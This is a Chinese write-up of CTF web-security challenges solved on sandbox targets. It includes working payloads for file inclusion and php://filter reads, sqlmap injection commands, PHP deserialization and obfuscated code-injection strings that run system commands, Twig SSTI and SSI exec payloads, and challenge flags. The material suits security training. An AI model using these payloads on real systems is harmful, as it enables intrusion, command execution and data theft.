三星难度
afr-2(nginx目录穿越)
nginx配置问题导致存在目录穿越
https://blog.csdn.net/nzjdsds/article/details/97624122
直接访问/img…/flag即可得到flag
afr-1(文件包含php://filter)
提示文件包含
输入hello 回显hello world!
输入flag 回显no no no
又试了几个输入无回显
可以猜测输入的内容添加了后缀后读取文件内容
采用
php://filter/read=convert.base64-encode/resource=flag
成功读取flag.php内容
解码后得到flag
n1book{afr_1_solved}
checkin(Base64)
扫目录只扫出了index.php一个页面,抓取响应包发现有flag字段
base64解码后得到flag
四星难度
random(null爆破)
抓取请求报文后发送至爆破模块,选择不设置payload单纯重放报文
可以看到成功碰撞出结果
injection(SQL注入)
手工测试
and 1=1显示正常,and 1=2不显示,and 1=2-1显示正常可判断为数字型的布尔盲注
直接sqlmap跑起
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --tables
获得表名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --columns -T flag --thread 10
获得列名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B -C flag -T flag --dump --thread 10
得到flag
warmup(文件包含绕过)
响应报文中提示source.php
访问后获得源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
过滤机制:
- page不为空且为字符串形式
- 白名单判断
- _page为page调用mb_substr返回的结果
- 白名单判断
- _page进行url解码 解码后再次进行mb_substr
- 白名单判断
三次判断中只要有一次符合条件就会返回true进行文件包含操作
每次mb_substr都会调用mb_strpos
(_page末尾拼接一个?,返回_page第一次出现?的位置)
可以通过这种形式过白名单file=hint.php?flag文件
根据hint.php中的提示flag位置在ffffllllaaaagggg文件中
由于不知道flag在哪个目录 所以需要不断添加…/测试
最终的payload为
file=hint.php?../../../../../ffffllllaaaagggg
逆转思维(伪协议+反序列化)
进入页面获得源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个参数text,file,password
其中file_get_contents中text作为路径,读取出的内容必须为welcome to the zjctf才可以进入第一个if语句
采用php://input
配合请求体中的内容绕过
第二个参数file文件包含可以通过php://filter
绕过
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
成功得到useless.php的base64源码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码后
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
最后一个参数password为序列化后的Flag对象,file属性等于flag.php
最终的payload:
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
五星难度
粗心的小李(git泄露)
git泄露问题,直接使用Githack工具进行clone
python2 GitHack.py -u http://challenge-db4ac7021d47f89c.sandbox.ctfhub.com:10080/.git
clone后打开index.html得到flag
SQL注入-1(字符布尔)
对id进行简单的fuzz
发现以参数可以被'
截断,通过截断后的逻辑表达式(1’ and 1=‘1 或者 1’ and 2='1)页面会呈现内容或者空白两种形式,所以可以判断为字符型的布尔盲注
sqlmap语句
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10
依次爆出表名,列名,最后dump数据
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 --tables --exclude-sysdbs
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 -D note -T fl4g --columns
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 -D note -T fl4g -C fllllag --dump
常见的收集(目录扫描)
直接用dirsearch扫描
python dirsearch.py -u http://challenge-aa0d6caf296b1fe2.sandbox.ctfhub.com:10080 -e php
发现三个敏感信息文件
robots.txt
flag1:n1book{info_1
index.php~
flag2:s_v3ry_im
index.php.swp
flag3:p0rtant_hack}
拼起来即flag
n1book{info_1s_v3ry_imp0rtant_hack}
weakphp(弱类型漏洞+md5)
一开始以为是SQL注入测试无果后尝试爆破发现存在git泄露问题,直接用Githack clone文件。
得到主页面的源码
<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
header("Location: index.php?user=1&pass=2");
}
$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
echo $flag;
} else {
echo "nonono!";
}
?>
可以看出要求user,pass两个参数的值不相同,但md5运算后的结果相同(==
而不是===
)。需要用到php弱类型漏洞
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么这两个字符串时会被认为是科学计算法的数字。先经过一次字符向数字转换的过程再比较大小,而转换时0的多少次方都是0 故php会判断两个字符串相同。
以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
从中选取两个即可满足要求
?user=QNKCDZO&pass=s214587387a
也可以通过数组绕过
?user[]=1&pass[]=2
弱类型的一些总结
PHP弱类型及一些绕过方式
PHP弱类型比较
Fast Running(条件竞争)
根据题目的名字就可以猜到可能与条件竞争有关
进入页面后可以修改密码但是修改成功的密码无法登陆
所以考虑同时发起修改密码
和登陆
两个请求进行爆破
六星难度
hate_php(php7代码注入混淆)
进入页面可以看到源码
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
先对敏感特殊字符进行正则匹配。又对黑名单函数进行查找,其中黑名单函数为get_defined_functions
获取的所有已经定义的internal
函数。
如果不包含敏感字符和黑名单函数就可以assert执行传入的字符串。
首先绕过敏感字符的限制,从flag.ph这几个字符中可以推断出flag很可能在flag.php中。
把所有函数都过滤的情况考虑采用异或以及取反等混淆方式生成可执行的php代码字符串。通过php7的新特性(“字符串”)()执行代码。
采用取反的方式生成payload,其中highlight_file可替换为任意读取文件函数
$str = urlencode(~'highlight_file');
echo $str."<br>";
// %97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
$str2 = urlencode(~'flag.php');
echo $str2."<br>";
// %99%93%9E%98%D1%8F%97%8F
$payload = "("."~".$str.")"."("."~".$str2.")";
echo $payload;
// (~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)
phpweb(call_user_func+反序列化)
进入题目后查看源码,每隔5s会提交一次表单,表单有两个参数func
和p
,提交的参数值为
func=date&p=p=Y-m-d h:i:s a
测试代码
<?php
$date = date("Y-m-d+h:i:s+a");
echo $date;
?>
显示当前系统的时间
可以判断报文中第一个传入的参数fun
为执行函数名
第二个参数p
为函数参数
于是传入func=file_get_contents&p=index.php
尝试读取源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
源码的内容为获取传入的fun和p值,如果传入的fun不在黑名单中,则通过gettime函数执行。结果为string类型时回显到页面上。
call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed
call_user_func — 把第一个参数作为回调函数调用
可以如果直接传入函数名和参数,黑名单过滤了所有常用的执行函数所以可以考虑传入反序列化字符串,通过反序列化过程触发Test类的__destruct()
方法绕过黑名单检测。
$test = new Test();
$test->func = "system";
$test->p = "ls";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
网页目录下没有flag文件,去根目录下寻找
$test->p = "ls /";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
最后读取文件
$test->p = "cat /flag_303356179";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:19:"cat /flag_303356179";s:4:"func";s:6:"system";}
AreUSerialz(php7.1反序列化protected属性)
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
通过源码可以看出,本题传入一个序列化字符串然后执行反序列化操作。其中传入的字符串中每个字符都必须在ascii码32-125范围中即可显示字符。
触发读取文件操作
通过检查后反序列化操作后会触发__destruct()
,首先比较op
参数是否等于"2",如果等于"2"则修改为"1"。从process源码中可看出当op
等于"2"时可以读取filename指向的文件,所以通过op
为整数2绕过__destruct()
的比较,再通过process
弱类型比较达到读取文件的效果。
现在触发读取的操作已经完成,但是FileHandler
类中三个变量均为protected
属性在序列化过程中会有%00*%00
字符,url解码后ascii码为1(如图所示)无法通过is_valid
函数的检验。
绕过protect属性反序列化空字符
php7.1+对类属性的检测不严格,可以修改属性为public来进行序列化。
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
输入payload后不显示,更改为index.php后可以正常读取
可能对flag.php做了过滤,考虑用php://filter
以base64编码读取
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
解码后得到flag
Cookie is so subtle!(回显Twig SSTI)
进入题目有三个页面分别为index.php
,flag.php
,hint.php
提示注意cookie字段,三个页面只有flag.php有可控字段
输入任何字段都会回显,且cookie中增加了Name字段
有两种思路第一种为输入的内容储存在了数据库可能存在SQL注入,通过fuzz和sqlmap都没有测试出来。第二种是考虑到回显一般与XSS或者SSTI漏洞有关,XSS在CTF中出现频率比较低。测试输入{{7*7}}发现回显49所以存在SSTI。
用上面这张比较经典的图可以判断出为Twig模板注入
采用如下payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat \flag.php")}}
得到flag
easy_search(swp泄露+shmtl ssi注入)
尝试了几次输入都会alert(fail)
sqlmap和dirsearch都跑了一遍,发现了index.php.swp
文件泄露
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
源码中可以看出当md5(password)
前六位为6d0bc1
,会向文件中写入username
的内容
首先写一个脚本碰撞出前六位满足条件的password值
if __name__ == '__main__':
for i in range(10000000):
hash_obj =hashlib.md5(str(i).encode("utf-8"))
digest = hash_obj.hexdigest()
if digest[0:6] == "6d0bc1":
print(i)
break
# 2020666
向文件中写入内容
<?php phpinfo();?>
访问文件内容
搜索下shtml相关内容
发现可以通过ssi指令去直接命令执行
SSI指令基本格式:
<!-– 指令名称=“指令参数”–> 如
最后的payload:
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->